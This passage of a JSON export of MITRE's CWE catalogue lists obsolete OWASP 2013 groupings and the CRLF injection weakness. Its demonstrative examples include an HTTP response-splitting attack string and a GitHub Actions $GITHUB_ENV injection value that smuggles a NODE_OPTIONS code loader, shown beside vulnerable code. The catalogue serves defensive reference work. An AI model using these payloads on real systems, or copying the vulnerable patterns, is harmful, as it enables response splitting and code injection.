Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes, Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-02-29", "Modification_Version": "4.14", "Modification_ReleaseDate": "2024-02-29", "Modification_Comment": "updated Demonstrative_Examples, Potential_Mitigations, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-07-16", "Modification_Version": "4.15", "Modification_ReleaseDate": "2024-07-16", "Modification_Comment": "updated Applicable_Platforms, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-11-19", "Modification_Version": "4.16", "Modification_ReleaseDate": "2024-11-19", "Modification_Comment": "updated Mapping_Notes, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Alternate_Terms, Common_Consequences, Description, Diagram, Theoretical_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Demonstrative_Examples, Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-04-30", "Modification_Version": "4.20", "Modification_ReleaseDate": "2026-04-30", "Modification_Comment": "updated Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Applicable_Platforms, Name"}], "Contribution": [{"@Type": "Content", "Contribution_Name": "\"Mapping CWE to 62443\" Sub-Working Group", "Contribution_Organization": "CWE-CAPEC ICS/OT SIG", "Contribution_Date": "2023-06-29", "Contribution_Version": "4.12", "Contribution_ReleaseDate": "2023-06-29", "Contribution_Comment": "Suggested mappings to ISA/IEC 62443."}, {"@Type": "Content", "Contribution_Name": "Abhi Balakrishnan", "Contribution_Date": "2024-02-29", "Contribution_Version": "4.17", "Contribution_ReleaseDate": "2025-04-03", "Contribution_Comment": "Contributed usability diagram concepts used by the CWE team."}, {"@Type": "Feedback", "Contribution_Name": "Matthew A. Pagan", "Contribution_Organization": "Spectrum", "Contribution_Date": "2025-08-22", "Contribution_Version": "4.19", "Contribution_ReleaseDate": "2025-12-11", "Contribution_Comment": "Discovered a syntax issue in the Python3 demox (DX-156) and suggested a fix"}], "Previous_Entry_Name": [{"@Date": "2009-01-12", "#text": "Code Injection"}, {"@Date": "2009-05-27", "#text": "Failure to Control Generation of Code (aka 'Code Injection')"}, {"@Date": "2011-03-29", "#text": "Failure to Control Generation of Code ('Code Injection')"}, {"@Date": "2026-10-28", "#text": "Improper Control of Generation of Code ('Code Injection')"}]}, "entry_type": "Weakness", "ranking": 8224.0}, {"@ID": "938", "@Name": "OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": {"@CWE_ID": "601", "@View_ID": "928"}}, "References": {"Reference": {"@External_Reference_ID": "REF-937"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "937", "@Name": "OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.", "References": {"Reference": {"@External_Reference_ID": "REF-936"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Notes": {"Note": {"@Type": "Relationship", "#text": "This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since \"known vulnerabilities\" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses."}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "936", "@Name": "OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": {"@CWE_ID": "352", "@View_ID": "928"}}, "References": {"Reference": {"@External_Reference_ID": "REF-935"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "935", "@Name": "OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": {"@CWE_ID": "285", "@View_ID": "928"}}, "References": {"Reference": {"@External_Reference_ID": "REF-934"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "934", "@Name": "OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": [{"@CWE_ID": "311", "@View_ID": "928"}, {"@CWE_ID": "312", "@View_ID": "928"}, {"@CWE_ID": "319", "@View_ID": "928"}, {"@CWE_ID": "320", "@View_ID": "928"}, {"@CWE_ID": "325", "@View_ID": "928"}, {"@CWE_ID": "326", "@View_ID": "928"}, {"@CWE_ID": "327", "@View_ID": "928"}, {"@CWE_ID": "328", "@View_ID": "928"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-933"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "933", "@Name": "OWASP Top Ten 2013 Category A5 - Security Misconfiguration", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": [{"@CWE_ID": "2", "@View_ID": "928"}, {"@CWE_ID": "16", "@View_ID": "928"}, {"@CWE_ID": "209", "@View_ID": "928"}, {"@CWE_ID": "215", "@View_ID": "928"}, {"@CWE_ID": "548", "@View_ID": "928"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-932"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "932", "@Name": "OWASP Top Ten 2013 Category A4 - Insecure Direct Object References", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": [{"@CWE_ID": "22", "@View_ID": "928"}, {"@CWE_ID": "99", "@View_ID": "928"}, {"@CWE_ID": "639", "@View_ID": "928"}, {"@CWE_ID": "706", "@View_ID": "928"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-931"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "931", "@Name": "OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": {"@CWE_ID": "79", "@View_ID": "928"}}, "References": {"Reference": {"@External_Reference_ID": "REF-930"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "930", "@Name": "OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": [{"@CWE_ID": "256", "@View_ID": "928"}, {"@CWE_ID": "287", "@View_ID": "928"}, {"@CWE_ID": "311", "@View_ID": "928"}, {"@CWE_ID": "384", "@View_ID": "928"}, {"@CWE_ID": "522", "@View_ID": "928"}, {"@CWE_ID": "523", "@View_ID": "928"}, {"@CWE_ID": "613", "@View_ID": "928"}, {"@CWE_ID": "620", "@View_ID": "928"}, {"@CWE_ID": "640", "@View_ID": "928"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-929"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-17", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-01-24", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "93", "@Name": "Improper Neutralization of CRLF Sequences", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Draft", "@Diagram": "/data/images/CWE-93-Diagram.png", "Description": "The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "74", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "CanPrecede", "@CWE_ID": "117", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Alternate_Terms": {"Alternate_Term": {"Term": "CRLF Injection", "Role": ["Common-Name", "Attack-Focused"]}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}}, "Common_Consequences": {"Consequence": {"Scope": "Integrity", "Impact": "Modify Application Data"}}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Implementation", "Description": ["Avoid using CRLF as a special sequence."]}, {"Phase": "Implementation", "Description": ["Appropriately filter or quote CRLF sequences in user-controlled input."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-224", "Intro_Text": "The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.", "Example_Code": [{"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "String author = request.getParameter(AUTHOR_PARAM);...Cookie cookie = new Cookie(\"author\", author);cookie.setMaxAge(cookieExpiration);response.addCookie(cookie);"}, "#text_blocks": ["String author = request.getParameter(AUTHOR_PARAM);", "...", "Cookie cookie = new Cookie(\"author\", author);", "cookie.setMaxAge(cookieExpiration);", "response.addCookie(cookie);"]}, {"@Nature": "Result", "xhtml:div": {"xhtml:br": [null, null, null], "#text": "HTTP/1.1 200 OK...Set-Cookie: author=Jane Smith..."}, "#text_blocks": ["HTTP/1.1 200 OK", "...", "Set-Cookie: author=Jane Smith", "..."]}, {"@Nature": "Attack", "xhtml:div": "Wiley Hacker\\r\\nHTTP/1.1 200 OK\\r\\n", "#text_blocks": ["Wiley Hacker\\r\\nHTTP/1.1 200 OK\\r\\n"]}, {"@Nature": "Result", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "HTTP/1.1 200 OK...Set-Cookie: author=Wiley HackerHTTP/1.1 200 OK..."}, "#text_blocks": ["HTTP/1.1 200 OK", "...", "Set-Cookie: author=Wiley Hacker", "HTTP/1.1 200 OK", "..."]}], "Body_Text": ["Assuming a string consisting of standard alpha-numeric characters, such as \"Jane Smith\", is submitted in the request the HTTP response including this cookie might take the following form:", "However, because the value of the cookie is composed of unvalidated user input, the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as", "then the HTTP response would be split into two responses of the following form:", "The second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability to construct arbitrary HTTP responses permits a variety of resulting attacks, including:", {"xhtml:ul": {"xhtml:li": [{"xhtml:div": "cross-user defacement"}, {"xhtml:div": "web and browser cache poisoning"}, {"xhtml:div": "cross-site scripting"}, {"xhtml:div": "page hijacking"}]}, "#text_blocks": ["cross-user defacement", "web and browser cache poisoning", "cross-site scripting", "page hijacking"]}]}, {"@Demonstrative_Example_ID": "DX-236", "Intro_Text": "The following code is a workflow job written\n\t      using YAML. The code attempts to download pull request\n\t      artifacts, unzip from the artifact called pr.zip and\n\t      extract the value of the file NR into a variable\n\t      \"pr_number\" that will be used later in another job.  It\n\t      attempts to create a github workflow environment\n\t      variable, writing to $GITHUB_ENV. The environment\n\t      variable value is retrieved from an external\n\t      resource.", "Example_Code": [{"@Nature": "Bad", "@Language": "Other", "xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": [null, null, null], "#text": "owner: context.repo.owner,\n\t\t\t    repo: context.repo.repo,\n\t\t\t    run_id: ${{ github.event.workflow_run.id }},"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "return artifact.name == \"pr\""}, {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "#text": "owner: context.repo.owner,\n\t\t\t    repo: context.repo.repo,\n\t\t\t    artifact_id: matchPrArtifact.id,\n\t\t\t    archive_format: 'zip',"}], "#text": "var artifacts = await github.actions.listWorkflowRunArtifacts({\n\t\t\t  \n\t\t\t  });\n\t\t\t  var matchPrArtifact = artifacts.data.artifacts.filter((artifact) => {\n\t\t\t  \n\t\t\t  })[0];\n\t\t\t  var downloadPr = await github.actions.downloadArtifact({\n\t\t\t  \n\t\t\t  });\n\t\t\t  var fs = require('fs');\n\t\t\t  fs.writeFileSync('${{github.workspace}}/pr.zip', Buffer.from(downloadPr.data));"}, "#text": "script: |"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "unzip pr.zip\n\t\t\techo \"pr_number=$(cat NR)\" >> $GITHUB_ENV"}], "#text": "- name: 'Download artifact'\n\t\t      uses: actions/github-script\n\t\t      with:\n\t\t      \n\t\t      - run: |"}, "#text": "runs-on: ubuntu-latest\n\t\t    steps:"}, "#text": "deploy:"}, "#text": "name: Deploy Preview\n\t\tjobs:", "#text_blocks": ["name: Deploy Preview", "jobs:", "deploy:", "runs-on: ubuntu-latest", "steps:", "- name: 'Download artifact'", "uses: actions/github-script", "with:", "script: |", "var artifacts = await github.actions.listWorkflowRunArtifacts({", "owner: context.repo.owner,", "repo: context.repo.repo,", "run_id: ${{ github.event.workflow_run.id }},", "});", "var matchPrArtifact = artifacts.data.artifacts.filter((artifact) => {", "return artifact.name == \"pr\"", "})[0];", "var downloadPr = await github.actions.downloadArtifact({", "owner: context.repo.owner,", "repo: context.repo.repo,", "artifact_id: matchPrArtifact.id,", "archive_format: 'zip',", "});", "var fs = require('fs');", "fs.writeFileSync('${{github.workspace}}/pr.zip', Buffer.from(downloadPr.data));", "- run: |", "unzip pr.zip", "echo \"pr_number=$(cat NR)\" >> $GITHUB_ENV"]}, {"@Nature": "Attack", "#text": "\\nNODE_OPTIONS=\"--experimental-modules --experiments-loader=data:text/javascript,console.log('injected code');//\""}, {"@Nature": "Good", "@Language": "Other", "#text": "The code could be modified to validate that the NR\n\t\tfile only contains a numeric value, or the code could\n\t\tretrieve the PR number from a more trusted source."}], "Body_Text": 